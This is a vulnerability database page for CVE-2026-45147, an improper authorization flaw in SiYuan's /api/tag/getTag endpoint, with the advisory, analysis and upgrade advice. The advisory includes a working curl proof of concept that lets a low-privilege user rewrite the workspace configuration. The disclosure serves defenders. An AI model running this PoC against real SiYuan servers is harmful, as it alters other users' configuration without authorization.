Skip to main content

SiYuan CVE-2026-45147

| EUVDEUVD-2026-30360 MEDIUM
Improper Authorization (CWE-285)
2026-05-13 https://github.com/siyuan-note/siyuan GHSA-6r88-8v7q-q4p2
4.3
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
4.3 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

Lifecycle Timeline

2
Source Code Evidence Fetched
Jun 08, 2026 - 10:41 vuln.today
Analysis Generated
Jun 08, 2026 - 10:41 vuln.today

DescriptionGitHub Advisory

Summary

POST /api/tag/getTag is registered with model.CheckAuth only, omitting both model.CheckAdminRole and model.CheckReadonly, despite the handler performing a configuration write that is normally guarded by both. Any authenticated user - including publish-service RoleReader accounts and RoleEditor accounts on a read-only workspace - can call this endpoint with a sort argument to mutate model.Conf.Tag.Sort and trigger model.Conf.Save(), which atomically rewrites the entire workspace conf.json.

Same root-cause class as the patched GHSA-4j3x-hhg2-fm2x (which fixed missing CheckAdminRole + CheckReadonly on /api/template/renderSprig).

Details

Affected files / lines (v3.6.5):

kernel/api/router.go:170 - only CheckAuth:

go
ginServer.Handle("POST", "/api/tag/getTag", model.CheckAuth, getTag)
// Compare the sibling registrations on the next two lines, which DO gate writes:
ginServer.Handle("POST", "/api/tag/renameTag", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renameTag)
ginServer.Handle("POST", "/api/tag/removeTag", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, removeTag)

kernel/api/tag.go:28-64 - handler. The if nil != arg["sort"] block writes config without any role check:

go
func getTag(c *gin.Context) {
    ret := gulu.Ret.NewResult()
    defer c.JSON(http.StatusOK, ret)
    arg, ok := util.JsonArg(c, ret)
    if !ok { return }
    ...
    if nil != arg["sort"] {                    // ← unauthorized write path
        sortVal, ok := util.ParseJsonArg[float64]("sort", arg, ret, true, false)
        if !ok { return }
        model.Conf.Tag.Sort = int(sortVal)
        model.Conf.Save()                      // persists entire conf to <workspace>/conf/conf.json
    }
    ...
}

Conf.Save() rewrites the entire configuration file, which means a malicious caller racing with a legitimate config change can roll back another user's setting (TOCTOU on the global config object).

PoC

Same Docker setup as Advisory 1.

bash
# 1. Authenticate (any role with CheckAuth pass - admin used here for convenience).
curl -s -c /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/loginAuth \
  -H 'Content-Type: application/json' -d '{"authCode":"audittest"}' >/dev/null
# 2. Read current Conf.Tag.Sort.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \
  -H 'Content-Type: application/json' -d '{}' \
  | python3 -c "import json,sys;print('Conf.Tag.Sort BEFORE =',json.load(sys.stdin)['data']['conf']['tag']['sort'])"
# → Conf.Tag.Sort BEFORE = 4
# 3. Mutate via the read-style endpoint.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/tag/getTag \
  -H 'Content-Type: application/json' -d '{"sort": 7}'
# → {"code":0,"msg":"","data":[]}
# 4. Confirm in-memory.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \
  -H 'Content-Type: application/json' -d '{}' \
  | python3 -c "import json,sys;print('Conf.Tag.Sort AFTER =',json.load(sys.stdin)['data']['conf']['tag']['sort'])"
# → Conf.Tag.Sort AFTER = 7
# 5. Confirm persisted to disk inside the container.
docker exec siyuan-audit grep -o 'sort":[0-9]*' /siyuan/workspace/conf/conf.json
# → sort":7

The vulnerability is exposed to publish-mode RoleReader (default for any anonymous publish visitor) and to RoleEditor users on workspaces where the administrator has set Editor.ReadOnly = true.

Impact

Limited direct damage - the writable field is only the tag display sort order. The pattern is concerning because:

  • It demonstrates the same gap that GHSA-4j3x-hhg2-fm2x was meant to flag broadly (missing CheckAdminRole + CheckReadonly on a read-style endpoint that performs writes); each occurrence has to be patched individually.
  • Conf.Save() rewrites the whole file, so a write-race during a legitimate configuration change can overwrite unrelated user-set values.
  • A publish-service Reader being able to mutate any server state at all violates the intended trust boundary.

AnalysisAI

Broken access control in SiYuan's /api/tag/getTag endpoint (versions prior to 3.7.0) allows any authenticated low-privilege user - including publish-service RoleReader accounts and RoleEditor accounts on read-only workspaces - to mutate the global Conf.Tag.Sort configuration value and trigger a full rewrite of the workspace conf.json file. The handler silently executes a privileged write operation (model.Conf.Save()) when a sort argument is present, despite the endpoint being registered with only model.CheckAuth middleware, omitting the model.CheckAdminRole and model.CheckReadonly guards that sibling write endpoints correctly enforce. Publicly available exploit code exists per SSVC assessment, though no active exploitation has been confirmed (not in CISA KEV; EPSS 0.03%).

Technical ContextAI

SiYuan is a self-hosted personal knowledge management application whose backend is a Go-based HTTP API server (pkg:go/github.com/siyuan-note/siyuan/kernel) using the Gin web framework with role-based middleware guards. The root cause is CWE-285 (Improper Authorization): kernel/api/router.go:170 registers POST /api/tag/getTag with only model.CheckAuth, omitting model.CheckAdminRole and model.CheckReadonly that sibling endpoints renameTag and removeTag on lines 171-172 correctly apply. Inside kernel/api/tag.go:28-64, when the sort argument is non-nil, the handler writes to the global model.Conf.Tag.Sort and calls model.Conf.Save(), which atomically rewrites the entire <workspace>/conf/conf.json. Because Conf.Save() persists the complete configuration object, a write race against a concurrent legitimate admin change introduces a secondary TOCTOU risk on unrelated configuration fields. This is the same missing-guard pattern as the previously patched GHSA-4j3x-hhg2-fm2x (/api/template/renderSprig), indicating a systemic rather than isolated defect.

RemediationAI

Upgrade SiYuan to version 3.7.0 or later, which includes the upstream fix at Go package version 0.0.0-20260512140701-d7b77d945e0d as documented in GHSA-6r88-8v7q-q4p2 (https://github.com/siyuan-note/siyuan/security/advisories/GHSA-6r88-8v7q-q4p2). For deployments unable to patch immediately, restrict network access to the SiYuan API port (default 6806) using a host-based firewall or reverse proxy configured to permit only trusted administrator IP addresses - this mitigates the vulnerability at the cost of disabling publish-mode and remote access for all users. A narrower workaround is to disable publish-service functionality entirely if RoleReader accounts are not operationally required, preventing low-privilege sessions from being established; however, this does not protect against RoleEditor accounts on read-only workspaces. No application-layer workaround short of patching fully addresses the missing middleware guards.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

CVE-2024-23054 CRITICAL POC
9.8 Feb 05

An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du

CVE-2025-23211 CRITICAL POC
9.9 Jan 28

Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve

CVE-2026-46339 CRITICAL POC
10.0 May 19

Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at

Share

CVE-2026-45147 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy